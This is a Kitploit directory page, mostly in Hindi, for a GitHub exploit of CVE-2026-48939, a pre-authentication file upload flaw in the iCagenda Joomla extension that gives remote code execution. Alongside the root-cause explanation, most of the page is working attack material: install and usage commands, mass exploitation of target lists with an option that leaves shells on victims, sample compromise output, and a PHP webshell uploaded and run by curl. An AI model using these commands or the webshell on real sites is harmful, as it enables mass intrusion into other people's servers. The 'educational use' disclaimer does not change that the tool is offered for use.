Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-48939 — iCagenda Joomla एक्सटेंशन < 4.0.8 (CVSS 10.0) के लिए प्रमाणीकरण-पूर्व मनमाना फ़ाइल अपलोड RCE एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/shinthink/cve-2026-48939
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubshinthink/cve-2026-48939

CVE-2026-48939

iCagenda Joomla एक्सटेंशन < 4.0.8 (CVSS 10.0) के लिए प्रमाणीकरण-पूर्व मनमाना फ़ाइल अपलोड RCE एक्सप्लॉइट

रिपॉजिटरी देखें
22 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-48939 — iCagenda Joomla RCE शोषण

प्री-ऑथ मनमानी फ़ाइल अपलोड → PHP कोड निष्पादन


अवलोकन

CVE-2026-48939 Joomla के लिए iCagenda इवेंट्स कैलेंडर एक्सटेंशन में CVSS 10.0 की गंभीर भेद्यता है। फ्रंटएंड इवेंट पंजीकरण फॉर्म की फ़ाइल अनुलग्नक सुविधा एक्सेस नियंत्रण केवल व्यू परत पर लागू करती है — कंट्रोलर पर नहीं — जिससे बिना प्रमाणीकरण और बिना किसी एक्सटेंशन सत्यापन के फ़ाइल अपलोड संभव हो जाता है।

अपलोड की गई फ़ाइलें सीधे वेब रूट के अंतर्गत /images/icagenda/frontend/attachments/ में जमा होती हैं और तुरंत PHP के रूप में निष्पादन योग्य होती हैं।

प्रभावित संस्करण

iCagenda संस्करणस्थिति
3.2.1 – 3.9.14असुरक्षित
4.0.0 – 4.0.7असुरक्षित
3.9.15 / 4.0.8+पैच किया गया

भेद्यता तंत्र

मूल कारण

registration.submit कंट्रोलर कंपोनेंट सेटिंग्स में कॉन्फ़िगर की गई "केवल पंजीकृत" एक्सेस प्रतिबंध लागू किए बिना फ़ाइल अपलोड को संसाधित करता है। फ़ाइल अनुलग्नक उनके मूल एक्सटेंशन के साथ बिना किसी अनुमतिसूची (allowlist), MIME प्रकार, या सामग्री सत्यापन के लिखे जाते हैं।

root@kitploit:~
View Layer   → "Registered Only" enforced (attempts to block)
Controller   → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination  → Web-accessible directory → PHP executes directly

हमले का प्रवाह

root@kitploit:~
POST /index.php?option=com_icagenda&task=registration.submit
  jform[attachment] = shell.php  →  saved to /images/icagenda/frontend/attachments/

GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
  → PHP executed → RCE

स्थापना

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt

उपयोग

root@kitploit:~
# Single target
python cve_2026_48939.py -t target.com

# Mass exploit
python cve_2026_48939.py -f targets.txt

# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup

# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt

तर्क

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 25)
  --no-cleanup      Leave shells on target
  -v, --verbose     Show detailed output

अवधारणा का प्रमाण

शोषण

root@kitploit:~
$ python cve_2026_48939.py -t target.com -v
root@kitploit:~
  CVE-2026-48939 — iCagenda Joomla RCE Exploit
  CVSS 10.0 | Pre-Auth | File Upload → RCE

    [+] POST registration.submit (jform[attachment]): HTTP 200
    [+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php

  Host     : target.com
  iCagenda : YES v4.0.5
  Vuln     : YES
  RCE      : YES
  Shell    : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
  Output   : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
  Time     : 3.2s

सामूहिक शोषण आउटपुट

root@kitploit:~
  CVE-2026-48939 iCagenda RCE Exploit
  Targets: 500 | Threads: 25 | Cleanup: ON
  -------------------------------------------------------

  [RCE]  target-1.com     v4.0.5    3.2s
         uid=1001(www-data) gid=1001(www-data)
  [RCE]  target-2.com     v3.9.12   4.1s
         uid=33(www-data) gid=33(www-data)

  -------------------------------------------------------
  Total: 500 | iCagenda: 23 | RCE: 8
  -------------------------------------------------------

मैन्युअल शोषण

चरण 1 — PHP वेबशेल अपलोड करें

root@kitploit:~
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF

curl -sk -X POST \
  -F "title=Event" \
  -F "jform[attachment][email protected];type=application/x-php" \
  "https://target.com/index.php?option=com_icagenda&task=registration.submit"

चरण 2 — कमांड निष्पादित करें

root@kitploit:~
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।

यह सॉफ़्टवेयर अधिकृत पेनेट्रेशन परीक्षण करने वाले सुरक्षा पेशेवरों, अपने स्वयं के बुनियादी ढांचे का ऑडिट करने वाले संगठनों, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और निम्नलिखित का उल्लंघन हो सकता है:

  • संयुक्त राज्य अमेरिका: कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (18 U.S.C. 1030)
  • इंडोनेशिया: UU ITE धारा 30 और 46
  • यूरोपीय संघ: निर्देश 2013/40/EU
  • यूनाइटेड किंगडम: कंप्यूटर मिसयूज़ एक्ट 1990

लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।


संदर्भ

संसाधनलिंक
IONIX सलाहionix.io/threat-center/cve-2026-48939
NVD प्रविष्टिCVE-2026-48939
iCagenda परिवर्तन-लॉगicagenda.com/docs

यह प्रोजेक्ट iCagenda या Joomlic से संबद्ध नहीं है।

टूल डाउनलोड करें